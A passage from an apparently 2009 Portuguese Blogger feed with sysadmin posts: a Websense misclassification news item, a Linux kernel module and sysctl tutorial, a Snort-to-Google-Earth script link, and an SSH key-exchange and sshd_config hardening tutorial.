href='http://www.blogger.com/feeds/3801955527535480990/posts/default/7298034759456883971'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/7298034759456883971'/><link rel='alternate' type='text/html' href='http://clebeerpub.blogspot.com/2009/03/dns-cultura-inutil.html' title='DNS (Cultura Inútil)'/><author><name>CleBeer's Pub</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_zPY0AjwymTU/ScKeF-VeNjI/AAAAAAAAAKY/2DiibN2lKkc/S220/brandao.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3801955527535480990.post-2191513157162690035</id><published>2009-03-20T12:18:00.000-07:00</published><updated>2009-03-20T12:25:49.707-07:00</updated><title type='text'>Websense classifica erroneamente cisco.com como site hacker</title><content type='html'>No inicio desta semana o websense classificou erroneamente o site da Cisco como site Hacker, por cerca de 15 minutos os usuários do websense ficaram impossibilitados de acessar o site da Cisco. Segundo a Websense isso ocorreu porque o endereço IP utilizado pelo host www.cisco.com estava associado anteriormente a um site hacker.&lt;br /&gt;&lt;br /&gt;Fonte:&lt;br /&gt;&lt;a href="http://www.theregister.co.uk/2009/03/20/websense_blocks_cisco/"&gt;The Register&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3801955527535480990-2191513157162690035?l=clebeerpub.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clebeerpub.blogspot.com/feeds/2191513157162690035/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3801955527535480990&amp;postID=2191513157162690035&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/2191513157162690035'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/2191513157162690035'/><link rel='alternate' type='text/html' href='http://clebeerpub.blogspot.com/2009/03/websense-classifica-erroneamente.html' title='Websense classifica erroneamente cisco.com como site hacker'/><author><name>CleBeer's Pub</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_zPY0AjwymTU/ScKeF-VeNjI/AAAAAAAAAKY/2DiibN2lKkc/S220/brandao.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3801955527535480990.post-6813494210251411246</id><published>2009-03-20T10:56:00.000-07:00</published><updated>2009-03-20T11:11:44.297-07:00</updated><title type='text'>Como trabalha o Kernel Linux</title><content type='html'>Ao procurar a definição da palavra "Kernel" em um dicionário (inglês/inglês) percebi que ele deu ênfase ao seguinte ponto: “The most important part of a statement, idea, plan, etc” e também “a very small part or amount of something”.  A partir daqui já temos uma idéia de que é algo muito importante, pois mesmo sendo muito pequeno o kernel é o cara que gerencia a interface de comunicação entre o hardware o os programas instalados no computador. Quando falamos do Linux estamos falando exclusivamente deste kernel, todo o resto como gnome, firefox e até mesmo o bash tratam-se apenas de programas que rodam no Linux e não fazem parte do Sistema Operacional (kernel linux).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Entendendo o kernel&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;OK, mas oque exatamente faz esse tal de kernel? A figura a seguir mostra de uma forma geral como o kernel disponibiliza serviço para os aplicativos rodando através de inúmeros pontos de entrada conhecidas como chamadas de sistema (system calls).&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_zPY0AjwymTU/ScPb_2lGR1I/AAAAAAAAALQ/DVq1ptr-7og/s1600-h/kernel-diagram.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 257px; height: 320px;" src="http://3.bp.blogspot.com/_zPY0AjwymTU/ScPb_2lGR1I/AAAAAAAAALQ/DVq1ptr-7og/s320/kernel-diagram.jpg" alt="" id="BLOGGER_PHOTO_ID_5315333875256674130" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;O kernel utiliza chamadas de sistema como leitura e escrita pra prover acesso ao hardware.&lt;br /&gt;&lt;br /&gt;Do ponto de vista de um programador isso parece uma função comun, embora na realidade uma chamada de sistema envolva diferentes interruptores no modo de operação do "kernel space" para o "user space" Juntos esse conjunto de chamadas de sistema formam uma especie de "maquina virtual" que trabalha antes do hardware real. Um exemplo claro disso é o sistema de arquivos.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Kernel Modular&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Agora que entendemos melhor o que o kernel faz, vamos olhar mais atentamente a sua organização física. As primeiras versões do kernel eram monolíticas, ou seja, todos os módulos estavam compilados dentro de um único arquivo executavel. O kernel das distribuições mais novas são modulares, ou seja, os módulos podem ser carregados no kernel em tempo de execução, isso faz com que o núcleo do kernel fique menor e não seja necessário reiniciar a maquina para carregar ou substituir novos módulos.&lt;br /&gt;O núcleo do kernel é carregado na memória na hora do boot e é lido de um arquivo no diretório “/boot” na maioria das vezes este arquivo é chamado de “vmlinuz-VERSÃO_DO_KERNEL”. Para ver a versão do kernel corrente utilize o comando:&lt;br /&gt;&lt;br /&gt;---&lt;br /&gt;#uname -r&lt;br /&gt;---&lt;br /&gt;&lt;br /&gt;Os módulos ficam no diretório “/lib/modules/VERSÃO_DO_KERNEL/”&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Gerenciando módulos.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Veremos agora alguns comandos para gerenciar os módulos do seu kernel, como por exemplo o comando para listar os módulos carregados que é o “lsmod”, o lsmod vai te mostrar uma saída semelhante a esta:&lt;br /&gt;&lt;br /&gt;---&lt;br /&gt;Module                  Size  Used by&lt;br /&gt;vfat                        14464  0&lt;br /&gt;isofs                       36388  0&lt;br /&gt;fat                          54556  1 vfat&lt;br /&gt;nfs                         262540  0&lt;br /&gt;lockd                     67720  1 nfs&lt;br /&gt;nfs_acl                  4608  1 nfs&lt;br /&gt;sunrpc                   185500  5 nfs,lockd,nfs_acl&lt;br /&gt;bridge                    55576  0&lt;br /&gt;tun                         12672  0&lt;br /&gt;usb_storage           73792  4&lt;br /&gt;libusual                  19236  1 usb_storage&lt;br /&gt;---&lt;br /&gt;&lt;br /&gt;Esta saída possui quatro campos divididos por nome do módulo que esta carregado, o tamanho do módulo, quantas vezes ele esta sendo utilizado e quais os módulos que dependem dele. Podemos carregar um módulo utilizando o comando “modprobe” (podemos também utilizar o comando “insmod” porém o modprobe é mais aconselhavel pois ele resolver as dependencias do módulo). Outro ponto muito importante na saída do comando lsmod é o terceiro campo que indica a quantidade de vezes que o módulo esta sendo utilizado pois o linux não vai permitir a remoção de um módulo cujo o campo used seja diferente de zero, no exemplo acima vemos o módulo “isofs” (utilizado para dar suporte ao sistema de arquivos “ISO” que é utilizado em Cds) com o campo used “0” neste caso podemos remover o módulo com o comando “modprobe -r isofs”, após executar este comando o módulo isofs não vai aparecer mais quando executarmos o lsmod.&lt;br /&gt;   Não é muito comum carregar módulos manualmente no dia a dia, porém se você precisar carregar um módulo manualmente você pode incluir parâmetros específicos de cada módulo para carrega-lo, como no exemplo a seguir:&lt;br /&gt;---&lt;br /&gt;modprobe usb_storage delay_use:3&lt;br /&gt;---&lt;br /&gt;&lt;br /&gt;No exemplo supra-citado habilitamos o parâmetro “delay_use:3” para o módulo “usb_storage” que define um time-out de 3 segundos para o módulo procurar um novo device. Para saber quais as opções de cada módulo utilizamos o comando modinfo como no exemplo a seguir:&lt;br /&gt;&lt;br /&gt;---&lt;br /&gt;# modinfo usb_storage&lt;br /&gt;filename:       /lib/modules/2.6.24-23-generic/kernel/drivers/usb/storage/usb-storage.ko&lt;br /&gt;license:        GPL&lt;br /&gt;description:    USB Mass Storage driver for Linux&lt;br /&gt;author:         Matthew Dharm &lt;mdharm-usb@one-eyed-alien.net&gt;&lt;br /&gt;srcversion:     99E0EB653929DE200DF6AF9&lt;br /&gt;depends:        libusual,usbcore,scsi_mod&lt;br /&gt;vermagic:       2.6.24-23-generic SMP mod_unload 586&lt;br /&gt;parm:           delay_use:seconds to delay before using a new device (uint)&lt;br /&gt;---&lt;br /&gt;&lt;br /&gt;A linha que nos interessa neste caso é a que começa com “param” que mostra os parâmetros aceitos pelo módulo. Caso você possua a source do kernel você também pode encontrar uma documentação muito útil em “/usr/src/VERSÂO_DO_KERNEL/Documentation/kernel-parameters.txt”&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Sistema de arquivos /proc&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;O kernel também nos fornece inúmeras informações que podem ser encontradas no sistema de arquivos “/proc”, os arquivos no /proc são criados pelo kernel (alguns você pode alterar, outros não)  um exemplo claro do tipo de informação que podemos encontrar no /proc esta to arquivo “/proc/modules” que mostra todos os módulos carregados no sistema (sim é semelhante ao comando lsmod.. =D), no arquivo “/proc/meminfo” que mostra o status detalhado da memória do sistema e também o arquivo “/proc/net/arp” que mostra a tabela ARP (mesma tabela exibida pelo comando “arp -a”).&lt;br /&gt;Beleza falei do /proc mas só citei arquivos que não podem ser alterados, são arquivos que somente nos fornecem algumas informações, mas o /proc não é só isso, um subdiretório do /proc muito importante é o “sys”, por exemplo o arquivo “/proc/sys/net/ipv4/ip_forward” define que o kernel irá encaminhar pacotes IP, a sintaxe é muito simples se o conteúdo deste arquivo for “0” (zero) o kernel não fará encaminhamento de pacotes IP e se o conteúdo for “1” (Um) o kernel fará encaminhamento de pacotes IP, esta opção deve ser habilitada se você for utilizar o linux como um roteador; ta com mas como eu habilito isso?&lt;br /&gt;Vamos primeiro ver como esta o arquivo:&lt;br /&gt;&lt;br /&gt;---&lt;br /&gt;# cat   /proc/sys/net/ipv4/ip_forward&lt;br /&gt;0&lt;br /&gt;---&lt;br /&gt;&lt;br /&gt;Vemos que o conteúdo do arquivo é “0” (zero), agora vamos habilitar o encaminhamento de pacotes IP no kernel.&lt;br /&gt;---&lt;br /&gt;# echo 1 &gt;  proc/sys/net/ipv4/ip_forward&lt;br /&gt;---&lt;br /&gt;Pronto agora o encaminhamento de pacotes IP esta habilitado, fácil né? Outro comando que também pode ser utilizado para executar a mesma tarefa é o “sysctl” como no exemplo a seguir:&lt;br /&gt;&lt;br /&gt;---&lt;br /&gt;#sysctl net.ipv4.ip_forward&lt;br /&gt;net.ipv4.ip_forward = 0&lt;br /&gt;---&lt;br /&gt;&lt;br /&gt;No exemplo acima utilizamos o comando sysctl para ver o valor do ip_forward, para alterar este valor utilizamos o comando sysctl com as seguintes opções:&lt;br /&gt;&lt;br /&gt;---&lt;br /&gt;#sysctl -w net.ipv4.ip_forward = 1&lt;br /&gt;---&lt;br /&gt;&lt;br /&gt;Porém tem um pequeno problema aqui, se reiniciarmos a maquina este arquivo voltara a ter conteúdo igual a “0” (zero). E como solucionamos isso? A solução e muito fácil utilizamos o arquivo “/etc/sysctl.conf” para definir os valores que serão configurados na hora do boot, então basta acrescentarmos a linha “net.ipv4.ip_forward = 1” no arquivo sysctl.conf.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Melhorando a performance.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Muitos dos parâmetros do /proc/sys que permitem escrita podem ser utilizados para melhorar a performance do Linux, apesar de que a configuração padrão já habilite opções que trabalham muito bem. Um exemplo de como podemos modificar o kernel para melhorar a performance de acordo com o tipo de aplicação que você vai utilizar esta no guia de instalação do Oracle 10g (http://www.oracle.com/technology/obe/obe10gdb/install/linuxpreinst/linuxpreinst.htm) que pede pra você configurar alguns parâmetros como o “kernel.shmmax=2147483648” que define o tamanho máximo de segmento de memória partilhada  para 2GB. (Memória partilhada é um mecanismo de comunicação entre processos que permite que um segmento de memória de ser visível dentro do espaço de endereçamento de múltiplos processos.)&lt;br /&gt;Outra modificação que podemos fazer e definir que nossa máquina não vai responder por broadcast de icmp (o bom e velho ping -b 255.255.255.255)  configurando o sysctl da seguinte forma:&lt;br /&gt;&lt;br /&gt;---&lt;br /&gt;sysctl -w net.ipv4.icmp_echo_ignore_broadcasts=1&lt;br /&gt;---&lt;br /&gt;&lt;br /&gt;Agora fica a seguinte dúvida, pra ver os valores eu vou ter que dar cat de arquivo em arquivo ou saber todos os caminhos do comando sysctl? Claro que não, basta utilizar o comando&lt;br /&gt;&lt;br /&gt;---&lt;br /&gt;sysctl -a&lt;br /&gt;---&lt;br /&gt;&lt;br /&gt;..que ele vai exibir todos os parâmetros e seu valores porém ele não fala pra que serve cada um deles porém isso podemos encontrar os detalhes no bom e velho “man proc” Ta vendo, o kernel não é aquele bicho de sete cabeças que muitos imaginam....rsrsr&lt;br /&gt;&lt;br /&gt;By CleBeer....&lt;br /&gt;clebeer@gmail.com&lt;br /&gt;clebeerpub.blogspot.com&lt;br /&gt;&lt;br /&gt;&lt;/mdharm-usb@one-eyed-alien.net&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3801955527535480990-6813494210251411246?l=clebeerpub.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clebeerpub.blogspot.com/feeds/6813494210251411246/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3801955527535480990&amp;postID=6813494210251411246&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/6813494210251411246'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/6813494210251411246'/><link rel='alternate' type='text/html' href='http://clebeerpub.blogspot.com/2009/03/como-trabalha-o-kernel-linux.html' title='Como trabalha o Kernel Linux'/><author><name>CleBeer's Pub</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_zPY0AjwymTU/ScKeF-VeNjI/AAAAAAAAAKY/2DiibN2lKkc/S220/brandao.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_zPY0AjwymTU/ScPb_2lGR1I/AAAAAAAAALQ/DVq1ptr-7og/s72-c/kernel-diagram.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3801955527535480990.post-3230153908588809408</id><published>2009-03-20T07:57:00.000-07:00</published><updated>2009-03-20T08:03:52.615-07:00</updated><title type='text'>Representação geográfica de alertas do snort</title><content type='html'>Um dos engenheiros da Source Fire desenvolveu um perl script que pega os alertas gerados pelo snort ou apliances Source Fire e mapea o evento utilizando o google earth.&lt;br /&gt;&lt;br /&gt;Maiores detalhes no site do autor do script: &lt;a href="http://leonward.wordpress.com/2009/03/15/geographic-representation-of-intrusion-events/"&gt;aqui&lt;/a&gt;&lt;br /&gt;O script pode ser baixado &lt;a href="http://www.snort.org/users/jbrvenik/Site/Archives_files/SF_GoogleEarth-1.0.tgz"&gt;aqui&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3801955527535480990-3230153908588809408?l=clebeerpub.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clebeerpub.blogspot.com/feeds/3230153908588809408/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3801955527535480990&amp;postID=3230153908588809408&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/3230153908588809408'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/3230153908588809408'/><link rel='alternate' type='text/html' href='http://clebeerpub.blogspot.com/2009/03/representacao-geografica-de-alertas-do.html' title='Representação geográfica de alertas do snort'/><author><name>CleBeer's Pub</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_zPY0AjwymTU/ScKeF-VeNjI/AAAAAAAAAKY/2DiibN2lKkc/S220/brandao.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3801955527535480990.post-7245468815559779542</id><published>2009-03-20T05:35:00.001-07:00</published><updated>2009-03-20T05:35:54.754-07:00</updated><title type='text'>SSH - Muito mais que um simples shell seguro</title><content type='html'>&lt;p&gt;Para quem administra vários servidores, hoje em dia o ssh faz-se mais do que necessário para agilizar a execução de comandos remotos. Entretanto, já presenciei diversas cenas em que determinado usuário não sabe o poder que o ssh nos oferece e acaba utilizando-o apenas como uma simples ferramenta para login remoto, deixando de lado outras poderosas funcionalidades.&lt;/p&gt; &lt;p&gt;O intuito deste tutorial é mostar algumas funcionalidades do ssh, que ajudam e muito no dia-a-dia do administrador.&lt;/p&gt; &lt;p&gt;&lt;span id="more-736"&gt;&lt;/span&gt;&lt;/p&gt; &lt;h2&gt;1. Troca de Chaves&lt;/h2&gt; &lt;p&gt;Certa vez um aluno me contou que queria criar um script de backup remoto utilizando o ssh (scp), porém não estava conseguindo fazer o script ler um arquivo com a senha (gravada em texto-plano) e inserí-la na hora em que o ssh pede a senha do usuário. Então perguntei para ele:&lt;/p&gt; &lt;p&gt;- Por que você quer utilizar o SSH ao invés de FTP?&lt;br /&gt;- Porque é mais seguro.&lt;br /&gt;- O que tem de seguro em colocar a senha em texto-plano dentro de um arquivo?&lt;br /&gt;- …&lt;/p&gt; &lt;p&gt;Ele não soube o que responder. Falei pra ele utilizar a troca de chaves. Com esse método, as máquinas possuem uma chave pública e uma chave privada que podem ser geradas com o comando &lt;strong&gt;ssh-keygen&lt;/strong&gt;. Neste tutorial estaremos utilizando um usuario chamado “usuario” para executar todo o procedimento, mas isso não impede de você utilizar qualquer usuário ou até o root. Mas nesse caso, lembre-se sempre de substituir os diretórios HOME quando houver referência e o próprio nome de usuário.&lt;/p&gt; &lt;p&gt;Primeiro gere as chaves da seguinte forma:&lt;/p&gt; &lt;pre class="code"&gt;$ &lt;strong&gt;ssh-keygen&lt;/strong&gt;&lt;br /&gt;Generating public/private rsa key pair.&lt;br /&gt;Enter file in which to save the key (/home/usuario/.ssh/id_rsa): &lt;em&gt;# Aqui ele pergunta onde você quer gerar a chave&lt;/em&gt;&lt;br /&gt;Enter passphrase (empty for no passphrase):                      &lt;em&gt;# Aqui ele pergunta se quer senha na chave (deixe em branco)&lt;/em&gt;&lt;br /&gt;Enter same passphrase again:                                     &lt;em&gt;# Aqui ele confirmação da senha (deixe em brando novamente)&lt;/em&gt;&lt;br /&gt;Your identification has been saved in /home/usuario/.ssh/id_rsa.&lt;br /&gt;Your public key has been saved in /home/usuario/.ssh/id_rsa.pub.&lt;br /&gt;The key fingerprint is:&lt;br /&gt;b3:12:2e:9b:b7:9b:56:f2:ba:fa:d7:71:74:74:99:b2 usuario@desktop-brandao&lt;/pre&gt; &lt;p&gt;No final, dá para ver que ele mostra onde gravou as chaves pública e privada.&lt;/p&gt; &lt;p&gt;Este comando deve ser executado na maquina cliente, neste caso a máquina que vai enviar os arquivos. Verificando o arquivo ~/.ssh/id_rsa.pub (no cliente), teremos algo parecido com o exibido abaixo:&lt;/p&gt; &lt;pre class="code"&gt;ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwN3WxdXANQxGW+gev3yrQKFzdpyuypmJGRQh6k&lt;br /&gt;khB+axeCf/oQQTopHQPSJDpMtrWAXK8ZrYSlOgtLZQjjk0U1UDzYJ1Qcpq9Fh9b8NQBZLYuYimbFHuo&lt;br /&gt;HZ1VGgmVkoaAQ31bKuaIK9Z2LvnR+YKPH6hPaDS9lCyW0xRAT4xSvK8S7ZrozEZUjQZ4+IMNN/yu5+&lt;br /&gt;zalIzZyqXlRcDk+lV8PfR9p0EXQTaKRrNJz+sD6Yld5Ty7igd6bsGNa/pK6rxY0FLnPX/u4xjmDU1m&lt;br /&gt;VNgFJ8zNcb6ibzv4IUk9xhVRDJKgW4xSNN7LEe2asjVXJ87UU/hkUGTLNGwg5c4hFWZ1w== usuario@desktop-brandao&lt;/pre&gt; &lt;p&gt;&lt;em&gt;(Esta é apenas uma linha, quebramos em várias linhas para melhor visualização neste tutorial).&lt;/em&gt;&lt;/p&gt; &lt;p&gt;Esta é a chave pública que deve ser adicionada no servidor, no arquivo definido na tag “AuthorizedKeysFile” na configuração /etc/ssh/sshd_config do servidor. Por padrão, este arquivo é o “authorized_keys” dentro do diretório .ssh (notem o ponto) no HOME de cada usuário. Neste exemplo vamos definir a tag AuthorizedKeysFile para utilizar o arquivo &lt;strong&gt;/etc/ChavesSSH&lt;/strong&gt;. Utilizando um editor de texto de sua preferência, acesse o arquivo &lt;strong&gt;/etc/ssh/sshd_config&lt;/strong&gt; e deixe a linha do AuthorizedKeysFile como a seguir:&lt;/p&gt; &lt;pre class="code"&gt;AuthorizedKeysFile    /etc/ChavesSSH&lt;/pre&gt; &lt;p&gt;Reinicie o ssh para que as novas configurações sejam aplicadas:&lt;/p&gt; &lt;pre class="code"&gt;/etc/init.d/sshd restart&lt;/pre&gt; &lt;p&gt;Após isso, no servidor, crie o arquivo &lt;strong&gt;/etc/ChavesSSH&lt;/strong&gt; e adicione a chave tirada do arquivo ~/.ssh/id_rsa.pub que está no cliente. Você pode copiar e colar ou transferir o arquivo via scp e concatená-lo (recomendado). No caso de transferir e concatenar, faça algo parecido com isto:&lt;/p&gt; &lt;pre class="code"&gt;maquina-cliente$ scp ~/.ssh/id_rsa.pub usuario@192.168.0.254:/home/usuario&lt;br /&gt;Enter password: &lt;strong&gt;&lt;digite&gt;&lt;/strong&gt;&lt;br /&gt;[...]&lt;br /&gt;&lt;br /&gt;maquina-servidor# cat /home/usuario/id_rsa.pub &gt;&gt; /etc/ChavesSSH&lt;/pre&gt; &lt;p&gt;(Lembrando de substituir o 192.168.0.254 pelo IP remoto do servidor).&lt;/p&gt; &lt;p&gt;Ao fazer isto, a chave do cliente estará dentro do arquivo de chaves autorizadas à fazer logins na conta, ou seja, se você tiver a chave privada (~/.ssh/id_rsa) correspondente, poderá se logar com qualquer usuário no sistema remoto. Na máquina cliente, execute o comando:&lt;/p&gt; &lt;pre class="code"&gt;$ ssh &lt;ip&gt; -l root&lt;/pre&gt; &lt;p&gt;Pronto, você verá que se logou na máquina servidor sem precisar digitar senha :)&lt;/p&gt; &lt;p&gt;Você também pode incrementar esta configuração. Por exemplo, se você quiser que esta chave só seja aceita se partir de uma determinada origem de IP (Ex.: 192.168.0.1), você pode adicionar no arquivo /etc/ChavesSSH a opção &lt;em&gt;“from”&lt;/em&gt;, como mostrado na linha a seguir:&lt;/p&gt; &lt;pre class="code"&gt;from="192.168.0.1" ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwN3WxdXANQxGW+gev3yrQKFzdpyuypmJGRQh6k&lt;br /&gt;khB+axeCf/oQQTopHQPSJDpMtrWAXK8ZrYSlOgtLZQjjk0U1UDzYJ1Qcpq9Fh9b8NQBZLYuYimbFHuo&lt;br /&gt;HZ1VGgmVkoaAQ31bKuaIK9Z2LvnR+YKPH6hPaDS9lCyW0xRAT4xSvK8S7ZrozEZUjQZ4+IMNN/yu5+&lt;br /&gt;zalIzZyqXlRcDk+lV8PfR9p0EXQTaKRrNJz+sD6Yld5Ty7igd6bsGNa/pK6rxY0FLnPX/u4xjmDU1m&lt;br /&gt;VNgFJ8zNcb6ibzv4IUk9xhVRDJKgW4xSNN7LEe2asjVXJ87UU/hkUGTLNGwg5c4hFWZ1w== usuario@desktop-brandao&lt;/pre&gt; &lt;p&gt;&lt;em&gt;(Mais uma vez, lembre-se que esta é apenas uma linha&lt;/em&gt;&lt;/p&gt; &lt;p&gt;Repare que apenas foi adicionada a opção &lt;em&gt;from=”192.168.0.1″&lt;/em&gt; no inicio da linha.&lt;/p&gt; &lt;p&gt;Outra opção legal é limitar a utilização do usuário apenas à comandos, evitando assim que o usuário ganhe uma shell na máquina. Deste modo, o usuário poderá apenas executar comandos remotos ou utilizar o scp para transferência de arquivos. A configuração é simples, basta adicionar a opção &lt;strong&gt;no-pty&lt;/strong&gt; no início da linha no /etc/ChavesSSH, deixando-a como a seguir:&lt;/p&gt; &lt;pre class="code"&gt;no-pty,from="192.168.0.1" ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwN3WxdXANQxGW+gev3yrQKFzdpyuypmJGRQh6k&lt;br /&gt;khB+axeCf/oQQTopHQPSJDpMtrWAXK8ZrYSlOgtLZQjjk0U1UDzYJ1Qcpq9Fh9b8NQBZLYuYimbFHuo&lt;br /&gt;HZ1VGgmVkoaAQ31bKuaIK9Z2LvnR+YKPH6hPaDS9lCyW0xRAT4xSvK8S7ZrozEZUjQZ4+IMNN/yu5+&lt;br /&gt;zalIzZyqXlRcDk+lV8PfR9p0EXQTaKRrNJz+sD6Yld5Ty7igd6bsGNa/pK6rxY0FLnPX/u4xjmDU1m&lt;br /&gt;VNgFJ8zNcb6ibzv4IUk9xhVRDJKgW4xSNN7LEe2asjVXJ87UU/hkUGTLNGwg5c4hFWZ1w== usuario@desktop-brandao&lt;/pre&gt; &lt;p&gt;&lt;em&gt;(Mais uma vez, lembre-se que esta é apenas uma linha&lt;/em&gt;&lt;/p&gt; &lt;p&gt;Note que também foi adicionada uma vírgula entre a tag &lt;strong&gt;no-pty&lt;/strong&gt; e a tag &lt;strong&gt;from&lt;/strong&gt;, ou seja, você pode combinar várias opções separando-as com vírgula.&lt;/p&gt; &lt;p&gt;Outras opções legais para se adicionar no arquivo de chaves podem ser obtidas na sessão 8 do man do sshd:&lt;/p&gt; &lt;pre class="code"&gt;$ man 8 sshd&lt;/pre&gt; &lt;h2&gt;2. Configurações avançadas&lt;/h2&gt; &lt;p&gt;O arquivo &lt;strong&gt;sshd_config&lt;/strong&gt; oferece diversas opções que podem nos ajudar no dia-a-dia. Coloquei aqui as opções que mais me chamam atenção.&lt;/p&gt; &lt;h3&gt;2.1. Port&lt;/h3&gt; &lt;p&gt;Utilidade: A opção &lt;strong&gt;port&lt;/strong&gt; serve para definir em qual porta o daemon do ssh (sshd) aceita novas conexões.&lt;/p&gt; &lt;p&gt;Comentário: Apesar de muitas pessoas acreditarem que trocando a TAG Port para uma outra porta estarão assegurando que o ssh ficara seguro, isso apenas causa uma falsa impressão de segurança, pois utilizando um simples port-scanning com o nmap ou programas similares, podemos verificar em que porta o daemon está escutando e qual a versão do serviço, utilizando a opção -sV&lt;/p&gt; &lt;p&gt;Exemplo:&lt;/p&gt; &lt;pre class="code"&gt;# nmap localhost -sV&lt;br /&gt;222/tcp  open  ssh         OpenSSH 4.7 (protocol 2.0)&lt;/pre&gt; &lt;p&gt;Veja que mesmo estando na porta 222, o nmap conseguiu ver que o serviço rodando na porta é o ssh.&lt;/p&gt; &lt;h3&gt;2.2. ListenAddress&lt;/h3&gt; &lt;p&gt;Utilidade: Esta opção é útil para definir um endereço IP específico em que o daemon ficará escutando no servidor, caso o servidor possua mais de uma interface de rede (física ou virtual).&lt;/p&gt; &lt;p&gt;Comentário: Esta opção é legal para servidores que ficam ligados diretamente a Internet, pois você pode definir que o daemon do ssh aceitará somente conexões oriundas da sua rede local.&lt;/p&gt; &lt;p&gt;Exemplo:&lt;/p&gt; &lt;pre class="code"&gt;ListenAddress    192.168.0.254&lt;/pre&gt; &lt;h3&gt;2.3. LogLevel&lt;/h3&gt; &lt;p&gt;Utilidade: Esta opção nos oferece diversos níveis de log para analisarmos.&lt;/p&gt; &lt;p&gt;Comentário: Os níveis disponíveis nesta opção são as seguintes: QUIET, FATAL, ERROR, INFO, VERBOSE, DEBUG, DEBUG1, DEBUG2, e DEBUG3. A opção que vem habilitada por padrão é a INFO, porém a que mais me chama a atenção é a DEBUG, que fornece todas as informações de possamos desejar.&lt;/p&gt; &lt;h3&gt;2.4. PermitRootLogin&lt;/h3&gt; &lt;p&gt;Utilidade: Esta opção serve para permitir ou não que o usuário root possa se logar via ssh.&lt;/p&gt; &lt;p&gt;Comentário: Esta opção é legal para evitar ataques de força bruta, pois o usuário root existe em qualquer sistema Linux/Unix e a maioria das tentativas de invasão tentam se logar como root.&lt;/p&gt; &lt;h3&gt;2.5. AllowGroups&lt;/h3&gt; &lt;p&gt;Utilidade: Esta opção nos permite estabelecer um grupo de usuários que poderão efetuar login via ssh.&lt;/p&gt; &lt;p&gt;Comentário: Esta opção é muito legal para definir, por exemplo, um grupo de administração do servidor e permitir o login via ssh somente dos usuários pertencentes à um certo grupo.&lt;/p&gt; &lt;p&gt;Exemplo:&lt;/p&gt; &lt;pre class="code"&gt;AllowGroups    admin&lt;/pre&gt; &lt;h3&gt;2.6. AuthorizedKeysFile&lt;/h3&gt; &lt;p&gt;Utilidade: Como visto no primeiro tópico deste tutorial, esta opção é utilizada para definir o arquivo com as chaves públicas dos usuários que poderão efetuar login sem precisar digitar a senha.&lt;/p&gt; &lt;p&gt;Comentário: Esta opção é muito útil para pessoas que administram muitos servidores com senhas diferentes, ao invés de ter que decorar todas as senhas ele pode exportar a sua chave pública e efetuar o login via troca de chaves. Por padrão este arquivo vem definido como ~/.ssh/authorized_keys, porém você pode definir qualquer arquivo como arquivo de chaves, como vimos no primeiro tópico deste tutorial.&lt;/p&gt; &lt;p&gt;Termino por aqui e espero que este tutorial seja útil.&lt;/p&gt;&lt;div 